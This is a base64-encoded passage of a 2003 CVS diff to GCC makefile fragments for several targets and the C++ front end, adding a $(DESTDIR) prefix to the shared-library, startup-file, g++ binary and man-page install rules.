ZjQNCi0tLSBnY2MvY29uZmlnL2FscGhhL3Qtb3NmNAkxMyBKdW4gMjAwMSAx NDoyNjowMiAtMDAwMAkxLjUNCisrKyBnY2MvY29uZmlnL2FscGhhL3Qtb3Nm NAkxMiBKYW4gMjAwMyAxODo0ODo1OSAtMDAwMA0KQEAgLTE3LDYgKzE3LDYg QEANCiAJJChMTl9TKSAkKFNITElCX05BTUUpICQoU0hMSUJfU09OQU1FKQ0K ICMgJChzbGliZGlyKSBkb3VibGUgcXVvdGVkIHRvIHByb3RlY3QgaXQgZnJv bSBleHBhbnNpb24gd2hpbGUgYnVpbGRpbmcNCiAjIGxpYmdjYy5tay4gIFdl IHdhbnQgdGhpcyBkZWxheWVkIHVudGlsIGFjdHVhbCBpbnN0YWxsIHRpbWUu DQotU0hMSUJfSU5TVEFMTCA9ICQoSU5TVEFMTF9EQVRBKSAkKFNITElCX05B TUUpICQkKHNsaWJkaXIpLyQoU0hMSUJfU09OQU1FKTsgXA0KLQlybSAtZiAk JChzbGliZGlyKS8kKFNITElCX05BTUUpOyBcDQotCSQoTE5fUykgJChTSExJ Ql9TT05BTUUpICQkKHNsaWJkaXIpLyQoU0hMSUJfTkFNRSkNCitTSExJQl9J TlNUQUxMID0gJChJTlNUQUxMX0RBVEEpICQoU0hMSUJfTkFNRSkgJCQoREVT VERJUikkJChzbGliZGlyKS8kKFNITElCX1NPTkFNRSk7IFwNCisJcm0gLWYg JCQoREVTVERJUikkJChzbGliZGlyKS8kKFNITElCX05BTUUpOyBcDQorCSQo TE5fUykgJChTSExJQl9TT05BTUUpICQkKERFU1RESVIpJCQoc2xpYmRpcikv JChTSExJQl9OQU1FKQ0KSW5kZXg6IGdjYy9jb25maWcvYXJjL3QtYXJjDQo9 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09DQpSQ1MgZmlsZTogL3Vzci9sb2NhbC9z cmMvY3ZzL2djYy1jdnMvZ2NjL2djYy9jb25maWcvYXJjL3QtYXJjLHYNCnJl dHJpZXZpbmcgcmV2aXNpb24gMS41DQpkaWZmIC11IC1yMS41IHQtYXJjDQot LS0gZ2NjL2NvbmZpZy9hcmMvdC1hcmMJMzEgTWF5IDIwMDIgMjA6MTE6NDkg LTAwMDAJMS41DQorKysgZ2NjL2NvbmZpZy9hcmMvdC1hcmMJMTIgSmFuIDIw MDMgMTg6NDg6NTkgLTAwMDANCkBAIC02MiwxMCArNjIsMTAgQEANCiBpbnN0 YWxsLW11bHRpbGliLWFyYzogaW5zdGFsbC1tdWx0aWxpYg0KIAlmb3IgaSBp biBgJChHQ0NfRk9SX1RBUkdFVCkgLS1wcmludC1tdWx0aS1saWJgOyBkbyBc DQogCSAgZGlyPWBlY2hvICQkaSB8IHNlZCAtZSAncy87LiokJC8vJ2A7IFwN Ci0JICBybSAtZiAkKGxpYnN1YmRpcikvJCR7ZGlyfS9jcnRpbml0Lm87IFwN Ci0JICAkKElOU1RBTExfREFUQSkgJCR7ZGlyfS9jcnRpbml0Lm8gJChsaWJz dWJkaXIpLyQke2Rpcn0vY3J0aW5pdC5vOyBcDQotCSAgY2htb2QgYS14ICQo bGlic3ViZGlyKS8kJHtkaXJ9L2NydGluaXQubzsgXA0KLQkgIHJtIC1mICQo bGlic3ViZGlyKS8kJHtkaXJ9L2NydGZpbmkubzsgXA0KLQkgICQoSU5TVEFM TF9EQVRBKSAkJHtkaXJ9L2NydGZpbmkubyAkKGxpYnN1YmRpcikvJCR7ZGly fS9jcnRmaW5pLm87IFwNCi0JICBjaG1vZCBhLXggJChsaWJzdWJkaXIpLyQk e2Rpcn0vY3J0ZmluaS5vOyBcDQorCSAgcm0gLWYgJChERVNURElSKSQobGli c3ViZGlyKS8kJHtkaXJ9L2NydGluaXQubzsgXA0KKwkgICQoSU5TVEFMTF9E QVRBKSAkJHtkaXJ9L2NydGluaXQubyAkKERFU1RESVIpJChsaWJzdWJkaXIp LyQke2Rpcn0vY3J0aW5pdC5vOyBcDQorCSAgY2htb2QgYS14ICQoREVTVERJ UikkKGxpYnN1YmRpcikvJCR7ZGlyfS9jcnRpbml0Lm87IFwNCisJICBybSAt ZiAkKERFU1RESVIpJChsaWJzdWJkaXIpLyQke2Rpcn0vY3J0ZmluaS5vOyBc DQorCSAgJChJTlNUQUxMX0RBVEEpICQke2Rpcn0vY3J0ZmluaS5vICQoREVT VERJUikkKGxpYnN1YmRpcikvJCR7ZGlyfS9jcnRmaW5pLm87IFwNCisJICBj aG1vZCBhLXggJChERVNURElSKSQobGlic3ViZGlyKS8kJHtkaXJ9L2NydGZp bmkubzsgXA0KIAlkb25lDQpJbmRleDogZ2NjL2NvbmZpZy9hcm0vdC1uZXRi c2QNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT0NClJDUyBmaWxlOiAvdXNyL2xv Y2FsL3NyYy9jdnMvZ2NjLWN2cy9nY2MvZ2NjL2NvbmZpZy9hcm0vdC1uZXRi c2Qsdg0KcmV0cmlldmluZyByZXZpc2lvbiAxLjUNCmRpZmYgLXUgLXIxLjUg dC1uZXRic2QNCi0tLSBnY2MvY29uZmlnL2FybS90LW5ldGJzZAkxMyBEZWMg MjAwMSAxNDoyNDowMyAtMDAwMAkxLjUNCisrKyBnY2MvY29uZmlnL2FybS90 LW5ldGJzZAkxMiBKYW4gMjAwMyAxODo0ODo1OSAtMDAwMA0KQEAgLTE2LDkg KzE2LDkgQEANCiAJJChMTl9TKSAkKFNITElCX05BTUUpICQoU0hMSUJfU09O QU1FKQ0KICMgJChzbGliZGlyKSBkb3VibGUgcXVvdGVkIHRvIHByb3RlY3Qg aXQgZnJvbSBleHBhbnNpb24gd2hpbGUgYnVpbGRpbmcNCiAjIGxpYmdjYy5t ay4gIFdlIHdhbnQgdGhpcyBkZWxheWVkIHVudGlsIGFjdHVhbCBpbnN0YWxs IHRpbWUuDQotU0hMSUJfSU5TVEFMTCA9ICQoSU5TVEFMTF9EQVRBKSAkKFNI TElCX05BTUUpICQkKHNsaWJkaXIpLyQoU0hMSUJfU09OQU1FKTsgXA0KLQly bSAtZiAkJChzbGliZGlyKS8kKFNITElCX05BTUUpOyBcDQotCSQoTE5fUykg JChTSExJQl9TT05BTUUpICQkKHNsaWJkaXIpLyQoU0hMSUJfTkFNRSkNCitT SExJQl9JTlNUQUxMID0gJChJTlNUQUxMX0RBVEEpICQoU0hMSUJfTkFNRSkg JCQoREVTVERJUikkJChzbGliZGlyKS8kKFNITElCX1NPTkFNRSk7IFwNCisJ cm0gLWYgJCQoREVTVERJUikkJChzbGliZGlyKS8kKFNITElCX05BTUUpOyBc DQorCSQoTE5fUykgJChTSExJQl9TT05BTUUpICQkKERFU1RESVIpJCQoc2xp YmRpcikvJChTSExJQl9OQU1FKQ0KIA0KICMgRG9uJ3QgYnVpbGQgZW5xdWly ZQ0KIEVOUVVJUkU9DQpJbmRleDogZ2NjL2NvbmZpZy9pYTY0L3QtaHB1eA0K PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PQ0KUkNTIGZpbGU6IC91c3IvbG9jYWwv c3JjL2N2cy9nY2MtY3ZzL2djYy9nY2MvY29uZmlnL2lhNjQvdC1ocHV4LHYN CnJldHJpZXZpbmcgcmV2aXNpb24gMS41DQpkaWZmIC11IC1yMS41IHQtaHB1 eA0KLS0tIGdjYy9jb25maWcvaWE2NC90LWhwdXgJMTMgU2VwIDIwMDIgMTY6 NTg6MjcgLTAwMDAJMS41DQorKysgZ2NjL2NvbmZpZy9pYTY0L3QtaHB1eAkx MiBKYW4gMjAwMyAxODo0ODo1OSAtMDAwMA0KQEAgLTQwLDkgKzQwLDkgQEAN CiAJJChMTl9TKSBAc2hsaWJfYmFzZV9uYW1lQC5zbyBAc2hsaWJfYmFzZV9u YW1lQC5zby4wDQogIyAkKHNsaWJkaXIpIGRvdWJsZSBxdW90ZWQgdG8gcHJv dGVjdCBpdCBmcm9tIGV4cGFuc2lvbiB3aGlsZSBidWlsZGluZw0KICMgbGli Z2NjLm1rLiAgV2Ugd2FudCB0aGlzIGRlbGF5ZWQgdW50aWwgYWN0dWFsIGlu c3RhbGwgdGltZS4NCi1TSExJQl9JTlNUQUxMID0gJChJTlNUQUxMX0RBVEEp IEBzaGxpYl9iYXNlX25hbWVALnNvICQkKHNsaWJkaXIpL0BzaGxpYl9iYXNl X25hbWVALnNvLjA7IFwNCi0Jcm0gLWYgJCQoc2xpYmRpcikvQHNobGliX2Jh c2VfbmFtZUAuc287IFwNCi0JJChMTl9TKSBAc2hsaWJfYmFzZV9uYW1lQC5z by4wICQkKHNsaWJkaXIpL0BzaGxpYl9iYXNlX25hbWVALnNvOyBcDQotCWNo bW9kICt4ICQkKHNsaWJkaXIpL0BzaGxpYl9iYXNlX25hbWVALnNvDQorU0hM SUJfSU5TVEFMTCA9ICQoSU5TVEFMTF9EQVRBKSBAc2hsaWJfYmFzZV9uYW1l QC5zbyAkJChERVNURElSKSQkKHNsaWJkaXIpL0BzaGxpYl9iYXNlX25hbWVA LnNvLjA7IFwNCisJcm0gLWYgJCQoREVTVERJUikkJChzbGliZGlyKS9Ac2hs aWJfYmFzZV9uYW1lQC5zbzsgXA0KKwkkKExOX1MpIEBzaGxpYl9iYXNlX25h bWVALnNvLjAgJCQoREVTVERJUikkJChzbGliZGlyKS9Ac2hsaWJfYmFzZV9u YW1lQC5zbzsgXA0KKwljaG1vZCAreCAkJChERVNURElSKSQkKHNsaWJkaXIp L0BzaGxpYl9iYXNlX25hbWVALnNvDQogDQogU0hMSUJfTUtNQVAgPSAkKHNy Y2RpcikvbWttYXAtZmxhdC5hd2sNCkluZGV4OiBnY2MvY29uZmlnL21pcHMv dC1pcmlzNS02DQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpSQ1MgZmlsZTog L3Vzci9sb2NhbC9zcmMvY3ZzL2djYy1jdnMvZ2NjL2djYy9jb25maWcvbWlw cy90LWlyaXM1LTYsdg0KcmV0cmlldmluZyByZXZpc2lvbiAxLjINCmRpZmYg LXUgLXIxLjIgdC1pcmlzNS02DQotLS0gZ2NjL2NvbmZpZy9taXBzL3QtaXJp czUtNgkyOSBKdWwgMjAwMiAyMjoyMTo0MSAtMDAwMAkxLjINCisrKyBnY2Mv Y29uZmlnL21pcHMvdC1pcmlzNS02CTEyIEphbiAyMDAzIDE4OjQ4OjU5IC0w MDAwDQpAQCAtMjAsMTEgKzIwLDExIEBADQogIyAkKHNsaWJkaXIpIGRvdWJs ZSBxdW90ZWQgdG8gcHJvdGVjdCBpdCBmcm9tIGV4cGFuc2lvbiB3aGlsZSBi dWlsZGluZw0KICMgbGliZ2NjLm1rLiAgV2Ugd2FudCB0aGlzIGRlbGF5ZWQg dW50aWwgYWN0dWFsIGluc3RhbGwgdGltZS4NCiBTSExJQl9JTlNUQUxMID0g XA0KLQkkJChTSEVMTCkgJCQoc3JjZGlyKS9ta2luc3RhbGxkaXJzICQkKHNs aWJkaXIpJChTSExJQl9TTElCRElSX1FVQUwpOyBcDQorCSQkKFNIRUxMKSAk JChzcmNkaXIpL21raW5zdGFsbGRpcnMgJCQoREVTVERJUikkJChzbGliZGly KSQoU0hMSUJfU0xJQkRJUl9RVUFMKTsgXA0KIAkkKElOU1RBTExfREFUQSkg JChTSExJQl9OQU1FKSBcDQotCSAgJCQoc2xpYmRpcikkKFNITElCX1NMSUJE SVJfUVVBTCkvJChTSExJQl9TT05BTUUpOyBcDQotCXJtIC1mICQkKHNsaWJk aXIpJChTSExJQl9TTElCRElSX1FVQUwpLyQoU0hMSUJfU09MSU5LKTsgXA0K KwkgICQkKERFU1RESVIpJCQoc2xpYmRpcikkKFNITElCX1NMSUJESVJfUVVB TCkvJChTSExJQl9TT05BTUUpOyBcDQorCXJtIC1mICQkKERFU1RESVIpJCQo c2xpYmRpcikkKFNITElCX1NMSUJESVJfUVVBTCkvJChTSExJQl9TT0xJTksp OyBcDQogCSQoTE5fUykgJChTSExJQl9TT05BTUUpIFwNCi0JICAkJChzbGli ZGlyKSQoU0hMSUJfU0xJQkRJUl9RVUFMKS8kKFNITElCX1NPTElOSykNCisJ ICAkJChERVNURElSKSQkKHNsaWJkaXIpJChTSExJQl9TTElCRElSX1FVQUwp LyQoU0hMSUJfU09MSU5LKQ0KIFNITElCX01LTUFQID0gJChzcmNkaXIpL21r bWFwLWZsYXQuYXdrDQogU0hMSUJfTUFQRklMRVMgPSAkKHNyY2RpcikvbGli Z2NjLXN0ZC52ZXINCkluZGV4OiBnY2MvY29uZmlnL3BhL3QtaHB1eC1zaGxp Yg0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PQ0KUkNTIGZpbGU6IC91c3IvbG9j YWwvc3JjL2N2cy9nY2MtY3ZzL2djYy9nY2MvY29uZmlnL3BhL3QtaHB1eC1z aGxpYix2DQpyZXRyaWV2aW5nIHJldmlzaW9uIDEuMQ0KZGlmZiAtdSAtcjEu MSB0LWhwdXgtc2hsaWINCi0tLSBnY2MvY29uZmlnL3BhL3QtaHB1eC1zaGxp YgkxOSBEZWMgMjAwMSAxNzo1OTowNSAtMDAwMAkxLjENCisrKyBnY2MvY29u ZmlnL3BhL3QtaHB1eC1zaGxpYgkxMiBKYW4gMjAwMyAxODo0ODo1OSAtMDAw MA0KQEAgLTEzLDcgKzEzLDcgQEANCiAjICQoc2xpYmRpcikgZG91YmxlIHF1 b3RlZCB0byBwcm90ZWN0IGl0IGZyb20gZXhwYW5zaW9uIHdoaWxlIGJ1aWxk aW5nDQogIyBsaWJnY2MubWsuICBXZSB3YW50IHRoaXMgZGVsYXllZCB1bnRp bCBhY3R1YWwgaW5zdGFsbCB0aW1lLg0KIFNITElCX0lOU1RBTEwgPSAkKElO U1RBTExfREFUQSkgLW0gNTU1ICQoU0hMSUJfTkFNRSkgXA0KLQkkJChzbGli ZGlyKS8kKFNITElCX1NPTkFNRSk7IFwNCi0gICAgICAgIHJtIC1mICQkKHNs aWJkaXIpLyQoU0hMSUJfTkFNRSk7IFwNCi0gICAgICAgICQoTE5fUykgJChT SExJQl9TT05BTUUpICQkKHNsaWJkaXIpLyQoU0hMSUJfTkFNRSkNCisJJCQo REVTVERJUikkJChzbGliZGlyKS8kKFNITElCX1NPTkFNRSk7IFwNCisgICAg ICAgIHJtIC1mICQkKERFU1RESVIpJCQoc2xpYmRpcikvJChTSExJQl9OQU1F KTsgXA0KKyAgICAgICAgJChMTl9TKSAkKFNITElCX1NPTkFNRSkgJCQoREVT VERJUikkJChzbGliZGlyKS8kKFNITElCX05BTUUpDQogDQpJbmRleDogZ2Nj L2NvbmZpZy9yczYwMDAvdC1haXg0Mw0KPT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PQ0KUkNTIGZpbGU6IC91c3IvbG9jYWwvc3JjL2N2cy9nY2MtY3ZzL2djYy9n Y2MvY29uZmlnL3JzNjAwMC90LWFpeDQzLHYNCnJldHJpZXZpbmcgcmV2aXNp b24gMS4xOA0KZGlmZiAtdSAtcjEuMTggdC1haXg0Mw0KLS0tIGdjYy9jb25m aWcvcnM2MDAwL3QtYWl4NDMJMjAgSnVsIDIwMDIgMDI6MjA6MTYgLTAwMDAJ MS4xOA0KKysrIGdjYy9jb25maWcvcnM2MDAwL3QtYWl4NDMJMTIgSmFuIDIw MDMgMTg6NDg6NTkgLTAwMDANCkBAIC01NSw3ICs1NSw3IEBADQogCXJtIC1m IEBtdWx0aWxpYl9kaXJAL3Noci5vDQogIyAkKHNsaWJkaXIpIGRvdWJsZSBx dW90ZWQgdG8gcHJvdGVjdCBpdCBmcm9tIGV4cGFuc2lvbiB3aGlsZSBidWls ZGluZw0KICMgbGliZ2NjLm1rLiAgV2Ugd2FudCB0aGlzIGRlbGF5ZWQgdW50 aWwgYWN0dWFsIGluc3RhbGwgdGltZS4NCi1TSExJQl9JTlNUQUxMID0gJChJ TlNUQUxMX0RBVEEpIEBzaGxpYl9iYXNlX25hbWVALmEgJCQoc2xpYmRpcikv DQorU0hMSUJfSU5TVEFMTCA9ICQoSU5TVEFMTF9EQVRBKSBAc2hsaWJfYmFz ZV9uYW1lQC5hICQkKERFU1RESVIpJCQoc2xpYmRpcikvDQogU0hMSUJfTElC UyA9IC1sYyBgY2FzZSBAc2hsaWJfYmFzZV9uYW1lQCBpbiAqcHRocmVhZCop IGVjaG8gLWxwdGhyZWFkIDs7IGVzYWNgDQogU0hMSUJfTUtNQVAgPSAkKHNy Y2RpcikvbWttYXAtZmxhdC5hd2sNCiBTSExJQl9NQVBGSUxFUyA9ICQoc3Jj ZGlyKS9saWJnY2Mtc3RkLnZlcg0KSW5kZXg6IGdjYy9jb25maWcvcnM2MDAw L3QtYWl4NTINCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NClJDUyBmaWxlOiAv dXNyL2xvY2FsL3NyYy9jdnMvZ2NjLWN2cy9nY2MvZ2NjL2NvbmZpZy9yczYw MDAvdC1haXg1Mix2DQpyZXRyaWV2aW5nIHJldmlzaW9uIDEuMQ0KZGlmZiAt dSAtcjEuMSB0LWFpeDUyDQotLS0gZ2NjL2NvbmZpZy9yczYwMDAvdC1haXg1 MgkxMCBPY3QgMjAwMiAxODoyOTozMyAtMDAwMAkxLjENCisrKyBnY2MvY29u ZmlnL3JzNjAwMC90LWFpeDUyCTEyIEphbiAyMDAzIDE4OjQ4OjU5IC0wMDAw DQpAQCAtMzYsNyArMzYsNyBAQA0KIAlybSAtZiBAbXVsdGlsaWJfZGlyQC9z aHIubw0KICMgJChzbGliZGlyKSBkb3VibGUgcXVvdGVkIHRvIHByb3RlY3Qg aXQgZnJvbSBleHBhbnNpb24gd2hpbGUgYnVpbGRpbmcNCiAjIGxpYmdjYy5t ay4gIFdlIHdhbnQgdGhpcyBkZWxheWVkIHVudGlsIGFjdHVhbCBpbnN0YWxs IHRpbWUuDQotU0hMSUJfSU5TVEFMTCA9ICQoSU5TVEFMTF9EQVRBKSBAc2hs aWJfYmFzZV9uYW1lQC5hICQkKHNsaWJkaXIpLw0KK1NITElCX0lOU1RBTEwg PSAkKElOU1RBTExfREFUQSkgQHNobGliX2Jhc2VfbmFtZUAuYSAkJChERVNU RElSKSQkKHNsaWJkaXIpLw0KIFNITElCX0xJQlMgPSAtbGMgYGNhc2UgQHNo bGliX2Jhc2VfbmFtZUAgaW4gKnB0aHJlYWQqKSBlY2hvIC1scHRocmVhZCA7 OyBlc2FjYA0KIFNITElCX01LTUFQID0gJChzcmNkaXIpL21rbWFwLWZsYXQu YXdrDQogU0hMSUJfTUFQRklMRVMgPSAkKHNyY2RpcikvbGliZ2NjLXN0ZC52 ZXINCkluZGV4OiBnY2MvY3AvTWFrZS1sYW5nLmluDQo9PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09DQpSQ1MgZmlsZTogL3Vzci9sb2NhbC9zcmMvY3ZzL2djYy1j dnMvZ2NjL2djYy9jcC9NYWtlLWxhbmcuaW4sdg0KcmV0cmlldmluZyByZXZp c2lvbiAxLjEyNQ0KZGlmZiAtdSAtcjEuMTI1IE1ha2UtbGFuZy5pbg0KLS0t IGdjYy9jcC9NYWtlLWxhbmcuaW4JMTggT2N0IDIwMDIgMjM6MzU6MzkgLTAw MDAJMS4xMjUNCisrKyBnY2MvY3AvTWFrZS1sYW5nLmluCTEyIEphbiAyMDAz IDE4OjQ4OjU5IC0wMDAwDQpAQCAtMTQyLDI3ICsxNDIsMzIgQEANCiBjKysu aW5zdGFsbC1jb21tb246IGluc3RhbGxkaXJzDQogCS1pZiBbIC1mIGNjMXBs dXMkKGV4ZWV4dCkgXSA7IHRoZW4gXA0KIAkgIGlmIFsgLWYgZysrLWNyb3Nz JChleGVleHQpIF0gOyB0aGVuIFwNCi0JICAgIHJtIC1mICQoYmluZGlyKS8k KEdYWF9DUk9TU19OQU1FKSQoZXhlZXh0KTsgXA0KLQkgICAgJChJTlNUQUxM X1BST0dSQU0pIGcrKy1jcm9zcyQoZXhlZXh0KSAkKGJpbmRpcikvJChHWFhf Q1JPU1NfTkFNRSkkKGV4ZWV4dCk7IFwNCi0JICAgIGNobW9kIGEreCAkKGJp bmRpcikvJChHWFhfQ1JPU1NfTkFNRSkkKGV4ZWV4dCk7IFwNCi0JICAgIHJt IC1mICQoYmluZGlyKS8kKENYWF9DUk9TU19OQU1FKSQoZXhlZXh0KTsgXA0K LQkgICAgJChMTikgJChiaW5kaXIpLyQoR1hYX0NST1NTX05BTUUpJChleGVl eHQpICQoYmluZGlyKS8kKENYWF9DUk9TU19OQU1FKSQoZXhlZXh0KTsgXA0K LQkgICAgaWYgWyAtZCAkKGdjY190b29sZGlyKS9iaW4vLiBdIDsgdGhlbiBc DQotCSAgICAgIHJtIC1mICQoZ2NjX3Rvb2xkaXIpL2Jpbi9nKyskKGV4ZWV4 dCk7IFwNCi0JICAgICAgJChJTlNUQUxMX1BST0dSQU0pIGcrKy1jcm9zcyQo ZXhlZXh0KSAkKGdjY190b29sZGlyKS9iaW4vZysrJChleGVleHQpOyBcDQot CSAgICAgIHJtIC1mICQoZ2NjX3Rvb2xkaXIpL2Jpbi9jKyskKGV4ZWV4dCk7 IFwNCi0JICAgICAgJChMTikgJChnY2NfdG9vbGRpcikvYmluL2crKyQoZXhl ZXh0KSAkKGdjY190b29sZGlyKS9iaW4vYysrJChleGVleHQpOyBcDQorCSAg ICBybSAtZiAkKERFU1RESVIpJChiaW5kaXIpLyQoR1hYX0NST1NTX05BTUUp JChleGVleHQpOyBcDQorCSAgICAkKElOU1RBTExfUFJPR1JBTSkgZysrLWNy b3NzJChleGVleHQpICQoREVTVERJUikkKGJpbmRpcikvJChHWFhfQ1JPU1Nf TkFNRSkkKGV4ZWV4dCk7IFwNCisJICAgIGNobW9kIGEreCAkKERFU1RESVIp JChiaW5kaXIpLyQoR1hYX0NST1NTX05BTUUpJChleGVleHQpOyBcDQorCSAg ICBybSAtZiAkKERFU1RESVIpJChiaW5kaXIpLyQoQ1hYX0NST1NTX05BTUUp JChleGVleHQpOyBcDQorCSAgICAoIGNkICQoREVTVERJUikkKGJpbmRpcikg JiYgXA0KKwkgICAgICAkKExOKSAkKEdYWF9DUk9TU19OQU1FKSQoZXhlZXh0 KSAkKENYWF9DUk9TU19OQU1FKSQoZXhlZXh0KSApOyBcDQorCSAgICBpZiBb IC1kICQoREVTVERJUikkKGdjY190b29sZGlyKS9iaW4vLiBdIDsgdGhlbiBc DQorCSAgICAgIHJtIC1mICQoREVTVERJUikkKGdjY190b29sZGlyKS9iaW4v ZysrJChleGVleHQpOyBcDQorCSAgICAgICQoSU5TVEFMTF9QUk9HUkFNKSBn KystY3Jvc3MkKGV4ZWV4dCkgJChERVNURElSKSQoZ2NjX3Rvb2xkaXIpL2Jp bi9nKyskKGV4ZWV4dCk7IFwNCisJICAgICAgcm0gLWYgJChERVNURElSKSQo Z2NjX3Rvb2xkaXIpL2Jpbi9jKyskKGV4ZWV4dCk7IFwNCisJICAgICAgKCBj ZCAkKERFU1RESVIpJChnY2NfdG9vbGRpcikvYmluICYmIFwNCisJICAgICAg ICAkKExOKSBnKyskKGV4ZWV4dCkgYysrJChleGVleHQpICk7IFwNCiAJICAg IGVsc2UgdHJ1ZTsgZmk7IFwNCiAJICBlbHNlIFwNCi0JICAgIHJtIC1mICQo YmluZGlyKS8kKEdYWF9JTlNUQUxMX05BTUUpJChleGVleHQpOyBcDQotCSAg ICAkKElOU1RBTExfUFJPR1JBTSkgZysrJChleGVleHQpICQoYmluZGlyKS8k KEdYWF9JTlNUQUxMX05BTUUpJChleGVleHQpOyBcDQotCSAgICBjaG1vZCBh K3ggJChiaW5kaXIpLyQoR1hYX0lOU1RBTExfTkFNRSkkKGV4ZWV4dCk7IFwN Ci0JICAgIHJtIC1mICQoYmluZGlyKS8kKENYWF9JTlNUQUxMX05BTUUpJChl eGVleHQpOyBcDQotCSAgICAkKExOKSAkKGJpbmRpcikvJChHWFhfSU5TVEFM TF9OQU1FKSQoZXhlZXh0KSAkKGJpbmRpcikvJChDWFhfSU5TVEFMTF9OQU1F KSQoZXhlZXh0KTsgXA0KLQkgICAgcm0gLWYgJChiaW5kaXIpLyQoR1hYX1RB UkdFVF9JTlNUQUxMX05BTUUpJChleGVleHQpOyBcDQotCSAgICAkKExOKSAk KGJpbmRpcikvJChHWFhfSU5TVEFMTF9OQU1FKSQoZXhlZXh0KSAkKGJpbmRp cikvJChHWFhfVEFSR0VUX0lOU1RBTExfTkFNRSkkKGV4ZWV4dCk7IFwNCi0J ICAgIHJtIC1mICQoYmluZGlyKS8kKENYWF9UQVJHRVRfSU5TVEFMTF9OQU1F KSQoZXhlZXh0KTsgXA0KLQkgICAgJChMTikgJChiaW5kaXIpLyQoQ1hYX0lO U1RBTExfTkFNRSkkKGV4ZWV4dCkgJChiaW5kaXIpLyQoQ1hYX1RBUkdFVF9J TlNUQUxMX05BTUUpJChleGVleHQpOyBcDQorCSAgICBybSAtZiAkKERFU1RE SVIpJChiaW5kaXIpLyQoR1hYX0lOU1RBTExfTkFNRSkkKGV4ZWV4dCk7IFwN CisJICAgICQoSU5TVEFMTF9QUk9HUkFNKSBnKyskKGV4ZWV4dCkgJChERVNU RElSKSQoYmluZGlyKS8kKEdYWF9JTlNUQUxMX05BTUUpJChleGVleHQpOyBc DQorCSAgICBjaG1vZCBhK3ggJChERVNURElSKSQoYmluZGlyKS8kKEdYWF9J TlNUQUxMX05BTUUpJChleGVleHQpOyBcDQorCSAgICBybSAtZiAkKERFU1RE SVIpJChiaW5kaXIpLyQoQ1hYX0lOU1RBTExfTkFNRSkkKGV4ZWV4dCk7IFwN CisJICAgICggY2QgJChERVNURElSKSQoYmluZGlyKSAmJiBcDQorCSAgICAg ICQoTE4pICQoR1hYX0lOU1RBTExfTkFNRSkkKGV4ZWV4dCkgJChDWFhfSU5T VEFMTF9OQU1FKSQoZXhlZXh0KSApOyBcDQorCSAgICBybSAtZiAkKERFU1RE SVIpJChiaW5kaXIpLyQoR1hYX1RBUkdFVF9JTlNUQUxMX05BTUUpJChleGVl eHQpOyBcDQorCSAgICAoIGNkICQoREVTVERJUikkKGJpbmRpcikgJiYgXA0K KwkgICAgICAkKExOKSAkKEdYWF9JTlNUQUxMX05BTUUpJChleGVleHQpICQo R1hYX1RBUkdFVF9JTlNUQUxMX05BTUUpJChleGVleHQpICk7IFwNCisJICAg IHJtIC1mICQoREVTVERJUikkKGJpbmRpcikvJChDWFhfVEFSR0VUX0lOU1RB TExfTkFNRSkkKGV4ZWV4dCk7IFwNCisJICAgICggY2QgJChERVNURElSKSQo YmluZGlyKSAmJiBcDQorCSAgICAgICQoTE4pICQoQ1hYX0lOU1RBTExfTkFN RSkkKGV4ZWV4dCkgJChDWFhfVEFSR0VUX0lOU1RBTExfTkFNRSkkKGV4ZWV4 dCkgKTsgXA0KIAkgIGZpIDsgXA0KIAlmaQ0KIA0KQEAgLTE3MSwyMyArMTc2 LDIzIEBADQogYysrLmluc3RhbGwtbWFuOiBpbnN0YWxsZGlycyAkKHNyY2Rp cikvY3AvZysrLjENCiAJLWlmIFsgLWYgY2MxcGx1cyQoZXhlZXh0KSBdIDsg dGhlbiBcDQogCSAgaWYgWyAtZiBnKystY3Jvc3MkKGV4ZWV4dCkgXSA7IHRo ZW4gXA0KLQkgICAgcm0gLWYgJChtYW4xZGlyKS8kKEdYWF9DUk9TU19OQU1F KSQobWFuMWV4dCk7IFwNCi0JICAgICQoSU5TVEFMTF9EQVRBKSAkKHNyY2Rp cikvY3AvZysrLjEgJChtYW4xZGlyKS8kKEdYWF9DUk9TU19OQU1FKSQobWFu MWV4dCk7IFwNCi0JICAgIGNobW9kIGEteCAkKG1hbjFkaXIpLyQoR1hYX0NS T1NTX05BTUUpJChtYW4xZXh0KTsgXA0KKwkgICAgcm0gLWYgJChERVNURElS KSQobWFuMWRpcikvJChHWFhfQ1JPU1NfTkFNRSkkKG1hbjFleHQpOyBcDQor CSAgICAkKElOU1RBTExfREFUQSkgJChzcmNkaXIpL2NwL2crKy4xICQoREVT VERJUikkKG1hbjFkaXIpLyQoR1hYX0NST1NTX05BTUUpJChtYW4xZXh0KTsg XA0KKwkgICAgY2htb2QgYS14ICQoREVTVERJUikkKG1hbjFkaXIpLyQoR1hY X0NST1NTX05BTUUpJChtYW4xZXh0KTsgXA0KIAkgIGVsc2UgXA0KLQkgICAg cm0gLWYgJChtYW4xZGlyKS8kKEdYWF9JTlNUQUxMX05BTUUpJChtYW4xZXh0 KTsgXA0KLQkgICAgJChJTlNUQUxMX0RBVEEpICQoc3JjZGlyKS9jcC9nKysu MSAkKG1hbjFkaXIpLyQoR1hYX0lOU1RBTExfTkFNRSkkKG1hbjFleHQpOyBc DQotCSAgICBjaG1vZCBhLXggJChtYW4xZGlyKS8kKEdYWF9JTlNUQUxMX05B TUUpJChtYW4xZXh0KTsgXA0KKwkgICAgcm0gLWYgJChERVNURElSKSQobWFu MWRpcikvJChHWFhfSU5TVEFMTF9OQU1FKSQobWFuMWV4dCk7IFwNCisJICAg ICQoSU5TVEFMTF9EQVRBKSAkKHNyY2RpcikvY3AvZysrLjEgJChERVNURElS 